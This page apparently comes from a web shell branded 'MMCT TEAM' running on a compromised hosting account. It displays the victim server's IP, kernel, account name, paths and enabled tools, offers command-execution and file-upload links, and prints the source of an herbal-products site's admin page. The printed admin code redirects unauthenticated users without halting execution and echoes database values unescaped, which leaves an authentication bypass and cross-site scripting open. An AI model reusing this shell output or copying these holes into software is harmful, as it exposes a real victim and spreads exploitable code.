MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.15.34.50
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/ppcad7no/indianherbaltreatment.com/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/indianherbaltreatment.com/admin/manage-upcoming.php
<?php 
include_once('config.php');
	if (!isLoggedIn()) {
		$_SESSION['msg'] = "You must log in first";
		header('location: login.php');
	}
?>
<!DOCTYPE html>
<html lang="en">

<head>

    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="">
    <meta name="author" content="">

    <title>Admin</title>

    <!-- Custom fonts for this template-->
    <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css">
    <link
        href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i"
        rel="stylesheet">

    <!-- Custom styles for this template-->
    <link href="css/sb-admin-2.min.css" rel="stylesheet">

    <style>
        div.dataTables_wrapper div.dataTables_filter input {
            box-shadow: 0px 0 0 !important;
            transform: translate(-123px,1px);
        }
    </style>

    
    <link href="vendor/datatables/dataTables.bootstrap4.min.css" rel="stylesheet">

</head>

<body id="page-top">

    <!-- Page Wrapper -->
    <div id="wrapper">

       <?php include_once('sidebar.php')?>

        <!-- Content Wrapper -->
        <div id="content-wrapper" class="d-flex flex-column">

            <!-- Main Content -->
            <div id="content">

                <!-- Topbar -->
                <?php include_once('topbar.php')?>
                <!-- End of Topbar -->

                <!-- Begin Page Content -->
                <div class="container-fluid">

                    <!-- Page Heading -->
                    <div class="d-sm-flex align-items-center justify-content-between mb-4">
                        <h1 class="h3 mb-0 text-gray-800 ">Manage Upcoming Products</h1>
                         <a href="add_upcoming_product.php" class="d-none d-sm-inline-block btn btn-sm btn-primary shadow-sm"><i class="fas fa-plus fa-sm text-white-50"></i>Add Upcoming Product</a> 
                    </div>
                    
                    <!-- DataTales Example -->
                    <div class="card shadow mb-4">
                        <!-- <div class="card-header py-3">
                            <h6 class="m-0 font-weight-bold text-primary">Company</h6>
                        </div> -->
                        <div class="card-body">
                            <div class="table-responsive">
                                <table class="table table-bordered" id="dataTable" width="100%" cellspacing="0">
                                    <thead>
                                        <tr>
                                            <th>Sr. No.</th>
                                            <th>Products Name</th>
                                            <th>Products Image</th>
                                            <th>Description</th>
                                            <th>Service Category</th>
                                            <th>Action</th>
                                        </tr>
                                    </thead>
                                   
                                    <tbody>
                                        <?php
                                            
                                            $sql = "SELECT tbl_product.p_id, tbl_product.product_name, tbl_product.img1, tbl_product.product_detail, tbl_services.property_name FROM `tbl_product`
                                            INNER JOIN tbl_services ON tbl_product.ser_id =tbl_services.sr_id WHERE type='upcoming'";
                                            $run = mysqli_query($db,$sql) or die("Query Not run");
                    
                                            $rowCount = mysqli_num_rows($run); // Count the number of rows

                                            if ($rowCount > 0) {
                                                $counter = 1; // Initialize the counter

                                                while ($data = mysqli_fetch_assoc($run)) {
                                                    if(mysqli_num_rows($run) > 0){
                                        ?>
                                        <tr>
                                            <td><?php echo $counter++ ?></td>
                                            <td><?php echo $data['product_name']?></td>
                                            <td><img width="100px;" src="images/<?php echo $data['img1'];?>"></td>
                                            <td><?php echo substr($data['product_detail'],0,50);?>...</td>
                                            <td><?php echo $data['property_name']?></td>
                                            
                                            <td>
                                                <a style="color:green;" href="update_upcoming_product.php?id=<?php echo $data['p_id']?>"><i class="fa fa-edit"></i></a>
                  
                                                <a style="color:red; padding-left:10px;" href="delete_product.php?id=<?php echo $data['p_id']?>"><i class="fa fa-trash"></i></a>
                          
                                                
                                            </td>
                                        </tr>
                                        <?php
                                            }else{
                                                echo "<h1>No Data Found</h1>";
                                            }
                                                }
                                        }
                                        ?>
                                    </tbody>
                                </table>
                            </div>
                        </div>
                    </div>


                </div>
                <!-- /.container-fluid -->

            </div>
            <!-- End of Main Content -->
            
            <!-- Footer -->
            
            <?php include_once('footer.php')?>

</body>

</html>

MMCT - 2023